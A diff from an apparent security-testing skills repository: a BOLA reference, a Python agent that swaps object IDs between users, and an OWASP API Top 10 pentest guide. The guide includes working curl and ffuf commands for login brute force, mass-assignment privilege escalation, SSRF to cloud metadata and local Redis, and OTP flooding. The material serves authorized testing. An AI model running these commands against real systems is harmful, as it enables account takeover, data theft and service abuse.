3. Replace sequential integer IDs with UUIDs to reduce predictability (defense in depth, not a fix alone)
|
||||
4. Add authorization tests to the CI/CD pipeline for every endpoint that accepts object IDs
|
||||
5. Implement rate limiting per user to slow enumeration attempts
|
||||
```
|
||||
+54
@@ -0,0 +1,54 @@
|
||||
# API Reference: Testing API for Broken Object Level Authorization
|
||||
|
||||
## BOLA Test Types
|
||||
|
||||
| Test | Method | Severity |
|
||||
|------|--------|----------|
|
||||
| Horizontal read | GET victim's resource with attacker token | High |
|
||||
| Horizontal write | PATCH/PUT victim's resource | Critical |
|
||||
| Horizontal delete | DELETE victim's resource | Critical |
|
||||
| ID enumeration | Sequential/predictable ID access | High |
|
||||
| Method bypass | Different HTTP methods on same resource | High |
|
||||
| Batch request | Include victim IDs in batch endpoint | High |
|
||||
| Nested resource | Access child via parent swap | High |
|
||||
|
||||
## Object ID Types
|
||||
|
||||
| Type | Example | Predictability |
|
||||
|------|---------|---------------|
|
||||
| Sequential integer | `/orders/1042` | High |
|
||||
| UUID v4 | `/orders/550e8400-...` | Low |
|
||||
| Encoded/base64 | `/orders/MTAwMg==` | Medium |
|
||||
| Composite | `/users/42/orders/1042` | High |
|
||||
| Slug | `/profiles/john-doe` | Medium |
|
||||
|
||||
## OWASP API1:2023 Checks
|
||||
|
||||
| Check | Description |
|
||||
|-------|-------------|
|
||||
| Per-object authorization | Every object access checks ownership |
|
||||
| Data-layer enforcement | WHERE user_id = authenticated_user.id |
|
||||
| Rate limiting | Slow enumeration attempts |
|
||||
| UUID over sequential | Reduce predictability |
|
||||
| Batch endpoint auth | Validate all IDs in arrays |
|
||||
|
||||
## Automated Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| Autorize (Burp) | Automated BOLA detection |
|
||||
| OWASP ZAP Access Control | Authorization boundary testing |
|
||||
| ffuf | ID enumeration at scale |
|
||||
| Postman | Manual BOLA testing |
|
||||
|
||||
## Python Libraries
|
||||
|
||||
| Library | Version | Purpose |
|
||||
|---------|---------|---------|
|
||||
| `requests` | >=2.28 | HTTP API calls |
|
||||
| `json` | stdlib | Response parsing |
|
||||
|
||||
## References
|
||||
|
||||
- OWASP API Security: https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
|
||||
- Autorize: https://github.com/Quitten/Autorize
|
||||
@@ -0,0 +1,198 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for testing APIs for Broken Object Level Authorization (BOLA).
|
||||
|
||||
Tests REST and GraphQL APIs for IDOR/BOLA vulnerabilities by
|
||||
systematically swapping object IDs between authenticated users
|
||||
to detect missing per-object authorization checks. OWASP API1:2023.
|
||||
"""
|
||||
|
||||
import json
|
||||
import sys
|
||||
from pathlib import Path
|
||||
from datetime import datetime
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
requests = None
|
||||
|
||||
|
||||
class BOLATestAgent:
|
||||
"""Tests APIs for Broken Object Level Authorization."""
|
||||
|
||||
def __init__(self, base_url, output_dir="./bola_test"):
|
||||
self.base_url = base_url.rstrip("/")
|
||||
self.output_dir = Path(output_dir)
|
||||
self.output_dir.mkdir(parents=True, exist_ok=True)
|
||||
self.findings = []
|
||||
|
||||
def _req(self, method, path, headers=None, data=None, timeout=10):
|
||||
if not requests:
|
||||
return None
|
||||
try:
|
||||
return requests.request(method, f"{self.base_url}{path}",
|
||||
headers=headers, json=data, timeout=timeout)
|
||||
except requests.RequestException:
|
||||
return None
|
||||
|
||||
def get_user_objects(self, token, profile_path="/users/me", objects_path="/orders"):
|
||||
"""Retrieve a user's ID and owned object IDs."""
|
||||
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
|
||||
profile_resp = self._req("GET", profile_path, headers=headers)
|
||||
if not profile_resp or profile_resp.status_code != 200:
|
||||
return None, []
|
||||
|
||||
user_data = profile_resp.json()
|
||||
user_id = user_data.get("id")
|
||||
|
||||
objects_resp = self._req("GET", objects_path, headers=headers)
|
||||
object_ids = []
|
||||
if objects_resp and objects_resp.status_code == 200:
|
||||
data = objects_resp.json()
|
||||
items = data if isinstance(data, list) else data.get("items", data.get("data", data.get("orders", [])))
|
||||
object_ids = [item.get("id") for item in items if item.get("id")]
|
||||
|
||||
return user_id, object_ids
|
||||
|
||||
def test_horizontal_read(self, attacker_token, victim_object_ids, resource_path="/orders"):
|
||||
"""Test if attacker can read victim's objects."""
|
||||
headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"}
|
||||
results = []
|
||||
for oid in victim_object_ids:
|
||||
resp = self._req("GET", f"{resource_path}/{oid}", headers=headers)
|
||||
vulnerable = resp and resp.status_code == 200
|
||||
result = {
|
||||
"test": f"Read {resource_path}/{oid}",
|
||||
"status": resp.status_code if resp else "error",
|
||||
"vulnerable": vulnerable,
|
||||
}
|
||||
if vulnerable:
|
||||
self.findings.append({
|
||||
"severity": "high",
|
||||
"type": "BOLA Read",
|
||||
"detail": f"GET {resource_path}/{oid} returns other user's data",
|
||||
"owasp": "API1:2023",
|
||||
})
|
||||
results.append(result)
|
||||
return results
|
||||
|
||||
def test_horizontal_write(self, attacker_token, victim_object_ids,
|
||||
resource_path="/orders", payload=None):
|
||||
"""Test if attacker can modify victim's objects."""
|
||||
headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"}
|
||||
test_payload = payload or {"status": "cancelled"}
|
||||
results = []
|
||||
for oid in victim_object_ids:
|
||||
resp = self._req("PATCH", f"{resource_path}/{oid}",
|
||||
headers=headers, data=test_payload)
|
||||
vulnerable = resp and resp.status_code in (200, 204)
|
||||
result = {
|
||||
"test": f"Modify {resource_path}/{oid}",
|
||||
"method": "PATCH",
|
||||
"status": resp.status_code if resp else "error",
|
||||
"vulnerable": vulnerable,
|
||||
}
|
||||
if vulnerable:
|
||||
self.findings.append({
|
||||
"severity": "critical",
|
||||
"type": "BOLA Write",
|
||||
"detail": f"PATCH {resource_path}/{oid} modifies other user's data",
|
||||
"owasp": "API1:2023",
|
||||
})
|
||||
results.append(result)
|
||||
return results
|
||||
|
||||
def test_horizontal_delete(self, attacker_token, victim_object_id,
|
||||
resource_path="/orders"):
|
||||
"""Test if attacker can delete victim's object."""
|
||||
headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"}
|
||||
resp = self._req("DELETE", f"{resource_path}/{victim_object_id}", headers=headers)
|
||||
vulnerable = resp and resp.status_code in (200, 204)
|
||||
if vulnerable:
|
||||
self.findings.append({
|
||||
"severity": "critical",
|
||||
"type": "BOLA Delete",
|
||||
"detail": f"DELETE {resource_path}/{victim_object_id} destroys other user's data",
|
||||
"owasp": "API1:2023",
|
||||
})
|
||||
return {"test": f"Delete {resource_path}/{victim_object_id}",
|
||||
"status": resp.status_code if resp else "error",
|
||||
"vulnerable": vulnerable}
|
||||
|
||||
def test_id_enumeration(self, attacker_token, known_id, resource_path="/orders",
|
||||
range_offset=5):
|
||||
"""Test sequential ID enumeration."""
|
||||
headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"}
|
||||
accessible = []
|
||||
for offset in range(-range_offset, range_offset + 1):
|
||||
test_id = known_id + offset
|
||||
if test_id == known_id:
|
||||
continue
|
||||
resp = self._req("GET", f"{resource_path}/{test_id}", headers=headers)
|
||||
if resp and resp.status_code == 200:
|
||||
accessible.append(test_id)
|
||||
if accessible:
|
||||
self.findings.append({
|
||||
"severity": "high",
|
||||
"type": "ID Enumeration",
|
||||
"detail": f"Sequential IDs accessible: {accessible[:5]}",
|
||||
})
|
||||
return accessible
|
||||
|
||||
def test_method_bypass(self, attacker_token, victim_object_id,
|
||||
resource_path="/users"):
|
||||
"""Test if different HTTP methods bypass authorization."""
|
||||
headers = {"Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json"}
|
||||
results = []
|
||||
for method in ["GET", "PUT", "PATCH", "DELETE", "HEAD"]:
|
||||
data = {"name": "test"} if method in ("PUT", "PATCH") else None
|
||||
resp = self._req(method, f"{resource_path}/{victim_object_id}",
|
||||
headers=headers, data=data)
|
||||
if resp and resp.status_code not in (401, 403, 404, 405):
|
||||
results.append({"method": method, "status": resp.status_code})
|
||||
self.findings.append({
|
||||
"severity": "high",
|
||||
"type": "Method Bypass",
|
||||
"detail": f"{method} {resource_path}/{victim_object_id} -> {resp.status_code}",
|
||||
})
|
||||
return results
|
||||
|
||||
def generate_report(self, attacker_token=None, victim_ids=None):
|
||||
read_results = []
|
||||
write_results = []
|
||||
if attacker_token and victim_ids:
|
||||
read_results = self.test_horizontal_read(attacker_token, victim_ids)
|
||||
write_results = self.test_horizontal_write(attacker_token, victim_ids)
|
||||
|
||||
report = {
|
||||
"report_date": datetime.utcnow().isoformat(),
|
||||
"base_url": self.base_url,
|
||||
"read_tests": read_results,
|
||||
"write_tests": write_results,
|
||||
"findings": self.findings,
|
||||
"total_findings": len(self.findings),
|
||||
}
|
||||
out = self.output_dir / "bola_test_report.json"
|
||||
with open(out, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
print(json.dumps(report, indent=2))
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: agent.py <base_url> [--token <jwt>] [--victim-ids 1,2,3]")
|
||||
sys.exit(1)
|
||||
url = sys.argv[1]
|
||||
token = None
|
||||
victim_ids = []
|
||||
if "--token" in sys.argv:
|
||||
token = sys.argv[sys.argv.index("--token") + 1]
|
||||
if "--victim-ids" in sys.argv:
|
||||
victim_ids = [int(x) for x in sys.argv[sys.argv.index("--victim-ids") + 1].split(",")]
|
||||
agent = BOLATestAgent(url)
|
||||
agent.generate_report(token, victim_ids)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,355 @@
|
||||
---
|
||||
name: testing-api-security-with-owasp-top-10
|
||||
description: Systematically assesses REST, GraphQL, and gRPC API endpoints against the OWASP
|
||||
API Security Top 10 (2023) using Burp Suite and Postman for automated and manual testing.
|
||||
Use during authorized API penetration tests, before deploying new endpoints to production,
|
||||
or when validating API gateway controls and rate limiting.
|
||||
domain: cybersecurity
|
||||
subdomain: web-application-security
|
||||
tags:
|
||||
- penetration-testing
|
||||
- api-security
|
||||
- owasp
|
||||
- rest-api
|
||||
- graphql
|
||||
- burpsuite
|
||||
- postman
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- PR.PS-01
|
||||
- ID.RA-01
|
||||
- PR.DS-10
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1190
|
||||
- T1059.007
|
||||
- T1505.003
|
||||
- T1083
|
||||
---
|
||||
|
||||
# Testing API Security with OWASP Top 10
|
||||
|
||||
## When to Use
|
||||
|
||||
- During authorized API penetration testing engagements
|
||||
- When assessing REST, GraphQL, or gRPC APIs for security vulnerabilities
|
||||
- Before deploying new API endpoints to production environments
|
||||
- When reviewing API security posture against the OWASP API Security Top 10 (2023)
|
||||
- For validating API gateway security controls and rate limiting effectiveness
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- **Authorization**: Written scope document covering all API endpoints to be tested
|
||||
- **Burp Suite Professional**: For intercepting and modifying API requests
|
||||
- **Postman**: For organizing and executing API test collections
|
||||
- **ffuf**: For API endpoint and parameter fuzzing
|
||||
- **curl/httpie**: Command-line HTTP clients for manual testing
|
||||
- **API documentation**: Swagger/OpenAPI spec, GraphQL schema, or API docs
|
||||
- **jq**: JSON processor for parsing API responses (`apt install jq`)
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Discover and Map API Endpoints
|
||||
|
||||
Enumerate all available API endpoints and understand the API surface.
|
||||
|
||||
```bash
|
||||
# If OpenAPI/Swagger spec is available, download it
|
||||
curl -s "https://api.target.example.com/swagger.json" | jq '.paths | keys[]'
|
||||
curl -s "https://api.target.example.com/v2/api-docs" | jq '.paths | keys[]'
|
||||
curl -s "https://api.target.example.com/openapi.yaml"
|
||||
|
||||
# Fuzz for API endpoints
|
||||
ffuf -u "https://api.target.example.com/api/v1/FUZZ" \
|
||||
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
|
||||
-mc 200,201,204,301,401,403,405 \
|
||||
-fc 404 \
|
||||
-H "Content-Type: application/json" \
|
||||
-o api-enum.json -of json
|
||||
|
||||
# Fuzz for API versions
|
||||
for v in v1 v2 v3 v4 beta internal admin; do
|
||||
status=$(curl -s -o /dev/null -w "%{http_code}" \
|
||||
"https://api.target.example.com/api/$v/users")
|
||||
echo "$v: $status"
|
||||
done
|
||||
|
||||
# Check for GraphQL endpoint
|
||||
for path in graphql graphiql playground query gql; do
|
||||
status=$(curl -s -o /dev/null -w "%{http_code}" \
|
||||
-X POST -H "Content-Type: application/json" \
|
||||
-d '{"query":"{__typename}"}' \
|
||||
"https://api.target.example.com/$path")
|
||||
echo "$path: $status"
|
||||
done
|
||||
```
|
||||
|
||||
### Step 2: Test API1 - Broken Object Level Authorization (BOLA)
|
||||
|
||||
Test whether users can access objects belonging to other users by manipulating IDs.
|
||||
|
||||
```bash
|
||||
# Authenticate as User A and get their resources
|
||||
TOKEN_A="Bearer eyJhbGciOiJIUzI1NiIs..."
|
||||
curl -s -H "Authorization: $TOKEN_A" \
|
||||
"https://api.target.example.com/api/v1/users/101/orders" | jq .
|
||||
|
||||
# Try accessing User B's resources with User A's token
|
||||
curl -s -H "Authorization: $TOKEN_A" \
|
||||
"https://api.target.example.com/api/v1/users/102/orders" | jq .
|
||||
|
||||
# Fuzz object IDs with Burp Intruder or ffuf
|
||||
ffuf -u "https://api.target.example.com/api/v1/orders/FUZZ" \
|
||||
-w <(seq 1 1000) \
|
||||
-H "Authorization: $TOKEN_A" \
|
||||
-mc 200 -t 10 -rate 50
|
||||
|
||||
# Test IDOR with different ID formats
|
||||
# Numeric: /users/102
|
||||
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
|
||||
# Encoded: /users/MTAy (base64)
|
||||
```
|
||||
|
||||
### Step 3: Test API2 - Broken Authentication
|
||||
|
||||
Assess authentication mechanisms for weaknesses.
|
||||
|
||||
```bash
|
||||
# Test for missing authentication
|
||||
curl -s "https://api.target.example.com/api/v1/users" | jq .
|
||||
|
||||
# Test JWT token vulnerabilities
|
||||
# Decode JWT without verification
|
||||
echo "eyJhbGciOiJIUzI1NiIs..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .
|
||||
|
||||
# Test "alg: none" attack
|
||||
# Header: {"alg":"none","typ":"JWT"}
|
||||
# Create unsigned token with modified claims
|
||||
|
||||
# Test brute-force protection on login
|
||||
ffuf -u "https://api.target.example.com/api/v1/auth/login" \
|
||||
-X POST -H "Content-Type: application/json" \
|
||||
-d '{"email":"admin@target.com","password":"FUZZ"}' \
|
||||
-w /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt \
|
||||
-mc 200 -t 5 -rate 10
|
||||
|
||||
# Test password reset flow
|
||||
curl -s -X POST "https://api.target.example.com/api/v1/auth/reset" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"email":"victim@target.com"}'
|
||||
|
||||
# Check if token is in response body instead of email only
|
||||
```
|
||||
|
||||
### Step 4: Test API3 - Broken Object Property Level Authorization
|
||||
|
||||
Test for excessive data exposure and mass assignment vulnerabilities.
|
||||
|
||||
```bash
|
||||
# Check for excessive data in responses
|
||||
curl -s -H "Authorization: $TOKEN_A" \
|
||||
"https://api.target.example.com/api/v1/users/101" | jq .
|
||||
# Look for: password hashes, SSNs, internal IDs, admin flags, PII
|
||||
|
||||
# Test mass assignment - try adding admin properties
|
||||
curl -s -X PUT \
|
||||
-H "Authorization: $TOKEN_A" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"name":"Test User","role":"admin","is_admin":true}' \
|
||||
"https://api.target.example.com/api/v1/users/101" | jq .
|
||||
|
||||
# Test with PATCH method
|
||||
curl -s -X PATCH \
|
||||
-H "Authorization: $TOKEN_A" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"role":"admin","balance":999999}' \
|
||||
"https://api.target.example.com/api/v1/users/101" | jq .
|
||||
|
||||
# Check if filtering parameters expose more data
|
||||
curl -s -H "Authorization: $TOKEN_A" \
|
||||
"https://api.target.example.com/api/v1/users/101?fields=all" | jq .
|
||||
curl -s -H "Authorization: $TOKEN_A" \
|
||||
"https://api.target.example.com/api/v1/users/101?include=password,ssn" | jq .
|
||||
```
|
||||
|
||||
### Step 5: Test API4/API6 - Rate Limiting and Unrestricted Access to Sensitive Flows
|
||||
|
||||
Verify rate limiting and resource consumption controls.
|
||||
|
||||
```bash
|
||||
# Test rate limiting on authentication endpoint
|
||||
for i in $(seq 1 100); do
|
||||
status=$(curl -s -o /dev/null -w "%{http_code}" \
|
||||
-X POST -H "Content-Type: application/json" \
|
||||
-d '{"email":"test@test.com","password":"wrong"}' \
|
||||
"https://api.target.example.com/api/v1/auth/login")
|
||||
echo "Attempt $i: $status"
|
||||
if [ "$status" == "429" ]; then
|
||||
echo "Rate limited at attempt $i"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
# Test for unrestricted resource consumption
|
||||
# Large pagination
|
||||
curl -s -H "Authorization: $TOKEN_A" \
|
||||
"https://api.target.example.com/api/v1/users?limit=100000&offset=0" | jq '. | length'
|
||||
|
||||
# GraphQL depth/complexity attack
|
||||
curl -s -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Authorization: $TOKEN_A" \
|
||||
-d '{"query":"{ users { friends { friends { friends { friends { name } } } } } }"}' \
|
||||
"https://api.target.example.com/graphql"
|
||||
|
||||
# Test SMS/email flooding via OTP endpoint
|
||||
for i in $(seq 1 20); do
|
||||
curl -s -X POST -H "Content-Type: application/json" \
|
||||
-d '{"phone":"+1234567890"}' \
|
||||
"https://api.target.example.com/api/v1/auth/send-otp"
|
||||
done
|
||||
```
|
||||
|
||||
### Step 6: Test API5 - Broken Function Level Authorization
|
||||
|
||||
Check for privilege escalation through administrative endpoints.
|
||||
|
||||
```bash
|
||||
# Test admin endpoints with regular user token
|
||||
ADMIN_ENDPOINTS=(
|
||||
"/api/v1/admin/users"
|
||||
"/api/v1/admin/settings"
|
||||
"/api/v1/admin/logs"
|
||||
"/api/v1/internal/config"
|
||||
"/api/v1/users?role=admin"
|
||||
"/api/v1/admin/export"
|
||||
)
|
||||
|
||||
for endpoint in "${ADMIN_ENDPOINTS[@]}"; do
|
||||
for method in GET POST PUT DELETE; do
|
||||
status=$(curl -s -o /dev/null -w "%{http_code}" \
|
||||
-X "$method" \
|
||||
-H "Authorization: $TOKEN_A" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://api.target.example.com$endpoint")
|
||||
if [ "$status" != "403" ] && [ "$status" != "401" ] && [ "$status" != "404" ]; then
|
||||
echo "POTENTIAL ISSUE: $method $endpoint returned $status"
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
# Test HTTP method switching
|
||||
# If GET /admin/users returns 403, try:
|
||||
curl -s -X POST -H "Authorization: $TOKEN_A" \
|
||||
"https://api.target.example.com/api/v1/admin/users"
|
||||
```
|
||||
|
||||
### Step 7: Test API7-API10 - SSRF, Misconfiguration, Inventory, and Unsafe Consumption
|
||||
|
||||
```bash
|
||||
# API7: Server-Side Request Forgery
|
||||
curl -s -X POST -H "Authorization: $TOKEN_A" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
|
||||
"https://api.target.example.com/api/v1/fetch-url"
|
||||
|
||||
curl -s -X POST -H "Authorization: $TOKEN_A" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"webhook_url":"http://127.0.0.1:6379/"}' \
|
||||
"https://api.target.example.com/api/v1/webhooks"
|
||||
|
||||
# API8: Security Misconfiguration
|
||||
# Check CORS policy
|
||||
curl -s -I -H "Origin: https://evil.example.com" \
|
||||
"https://api.target.example.com/api/v1/users" | grep -i "access-control"
|
||||
|
||||
# Check for verbose error messages
|
||||
curl -s -X POST -H "Content-Type: application/json" \
|
||||
-d '{"invalid": "data' \
|
||||
"https://api.target.example.com/api/v1/users"
|
||||
|
||||
# Check security headers
|
||||
curl -s -I "https://api.target.example.com/api/v1/health" | grep -iE \
|
||||
"(x-frame|x-content|strict-transport|content-security|x-xss)"
|
||||
|
||||
# API9: Improper Inventory Management
|
||||
# Test deprecated API versions
|
||||
for v in v0 v1 v2 v3; do
|
||||
curl -s -o /dev/null -w "$v: %{http_code}\n" \
|
||||
"https://api.target.example.com/api/$v/users"
|
||||
done
|
||||
|
||||
# API10: Unsafe Consumption of APIs
|
||||
# Test if the API blindly trusts third-party data
|
||||
# Check webhook/callback implementations for injection
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Concept | Description |
|
||||
|---------|-------------|
|
||||
| **BOLA (API1)** | Broken Object Level Authorization - accessing objects belonging to other users |
|
||||
| **Broken Authentication (API2)** | Weak authentication mechanisms allowing credential stuffing or token manipulation |
|
||||
| **BOPLA (API3)** | Broken Object Property Level Authorization - excessive data exposure or mass assignment |
|
||||
